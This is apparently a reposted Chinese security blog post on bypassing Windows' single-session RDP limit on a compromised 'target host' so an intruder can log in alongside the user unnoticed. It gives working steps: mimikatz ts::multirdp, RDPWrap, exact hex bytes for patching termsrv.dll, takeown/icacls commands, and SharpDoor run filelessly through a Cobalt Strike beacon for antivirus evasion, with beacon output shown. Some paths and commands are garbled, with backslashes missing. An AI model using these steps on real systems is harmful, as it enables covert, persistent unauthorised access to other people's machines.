PC单用户限制3389登录的绕过方式

  • A+
所属分类:安全文章
声明:该公众号大部分文章来自作者日常学习笔记,也有少部分文章是经过原作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。
请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。


到了一定年纪后真是很难专注的去做一件事,更别说做好了!而且时间长了就会感觉力不从心,真不知道自己还能坚持多久?


症状:

其他用户当前已登录到此计算机。如果继续,则该用户必须断开与此计算机的连接。是否继续?。

PC单用户限制3389登录的绕过方式


目前的两个问题:

  1. 登录原来的Administrator管理员用户时对方就会被我们直接挤下线,返回到登录界面。

  2. 登录新建的90sec管理员用户时也会提示:其他用户当前已登录到此计算机,选择继续后,目标主机会出现弹框提示:是否断开当前连接?(30秒后默认选择同意,返回到登录界面)。

PC单用户限制3389登录的绕过方式


解决方案:

(1) 利用Mimikatz法国神器安装RDP补丁来解决单用户登录的问题,如果返回“TermService”service patched则说明安装成功,不足之处就是目标主机在重启系统后便会失效。

mimikatz # privilege::debugPrivilege '20' OK
mimikatz # ts::multirdp"TermService" service patched
PC单用户限制3389登录的绕过方式

(2) 利用RDPWrap来解决单用户登录的问题,它能恢复远程桌面服务被阉割的功能,适用于Windows Vista、7、8、8.1、10。

执行install.bat进行安装,在安装完成后释放rdpwrap.dll和rdpwrap.ini至C:Program FilesRDP Wrapper文件夹,rdpwrap.dll会被注入到同termsrv.dll相同的进程。
PC单用户限制3389登录的绕过方式
PC单用户限制3389登录的绕过方式
PC单用户限制3389登录的绕过方式


注:Windows 10家庭版默认不能开启远程桌面,因为微软对其进行了限制不过我们可以用rdpwrap来恢复远程桌面功能,直接用RDPWInst.exe -s -i -o命令将其安装在System32,默认安装在Program Files。


还有就是有时在执行uninstall.bat卸载后发现TermService服务是开启的,但3389远程桌面仍然无法连接,这时我们需要重新开启3389远程桌面


测试结果如下,如失败可尝试更新rdpwrap.ini:

  • Windows 7 - 6.1.7601.17514(成功)

  • Windows 10 - 10.0.17134.706(失败)- 更新rdpwrap.ini(2019-11-01)成功。

  • Windows 10 - 10.0.17763.437(失败)- 更新rdpwrap.ini(2019-11-01)成功。

  • Windows 10 - 10.0.18362.267(失败)- 更新rdpwrap.ini(2019-11-01)成功。


(3) 利用010 Editor手动修改termsrv.dll对应的16进制来解决单用户登录的问题,打开termsrv.dll查找8B 99 3C 06 00 00 8B B9 38 06 00 00,替换为B8 00 01 00 00 89 81 38 06 00 00 90,将修改好的termsrv.dll替换到System32目录下,替换前必须先停止TermService服务。

PC单用户限制3389登录的绕过方式


net stop TermService /ycopy termsrv.dll C:WindowsSystem32 /ynet start TermService
PC单用户限制3389登录的绕过方式
PC单用户限制3389登录的绕过方式


注:如果停止TermService服务还是不能替换System32目录下termsrv.dll,可能是因为它的权限问题,可尝试使用takeown、icacls命令来修改termsrv.dll文件权限,然后再替换该文件就可以了。

takeown /f C:Windowssystem32termsrv.dll /aicacls C:Windowssystem32termsrv.dll /grant "administrators":(F)


(4) 利用SharpDoor自动修改termsrv.dll对应的16进制来解决单用户登录的问题,不过该项目在部分Windows 10中获取到的Termsrv.dll版本信息可能有误,所以没能成功执行替换Termsrv.dl的16进制。


这里我们必须先确定目标Termsrv.dll版本,然后再修改SharpDoor源码并重新编译,主要修改源码中需要替换的16进制和对应的Termsrv.dll版本信息就可以了。

PC单用户限制3389登录的绕过方式
PC单用户限制3389登录的绕过方式
PC单用户限制3389登录的绕过方式
PC单用户限制3389登录的绕过方式


注:SharpDoor项目中还有一个好处就是能够利用CobaltStrike中的execute-assembly命令将该程序直接加载到内存中执行,最终实现无落地文件执行,并且也能够达到一定的免杀效果。


唯一不足就是获取termsrv.dll版本信息不是十分准确,有兴趣的可以自己去完善一下这个项目!

beacon> execute-assembly C:Users******DesktopSharpDoor.exe[*] Tasked beacon to run .NET program: SharpDoor.exe[+] host called home, sent: 115755 bytes[+] received output:
Allow Multiple RDP (Remote Desktop) Sessions By Patching termsrv.dll File
[*] Termsrv.dll Version : 10.0.17134.1067[*] Stop termservice[*] Backup termsrv.dll to C:UsersPublictermsrv.dll
[+] received output:
[*] Attempting to patch termsrv.dll
Original File Hash : 24ff1f89f2ec3f5561c34810c8328726Patched File Hash : 4cec28b4c00002245dffc8346be0cc11
[*] C:UsersPublictermsrv.patch.dll was patched successfully
[*] Setting Registry Terminal ServerfSingleSessionPerUser to 0[*] Setting Registry Terminal ServerTSAppAllowListfDisabledAllowList to 1[*] Start termservice[*] Done
PC单用户限制3389登录的绕过方式


相关阅读:




只需在公众号回复“9527”即可领取一套HTB靶场学习文档和视频,1120领取安全参考等安全杂志PDF电子版1208领取一份常用高效爆破字典还在等什么?

PC单用户限制3389登录的绕过方式

本文始发于微信公众号(潇湘信安):PC单用户限制3389登录的绕过方式

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: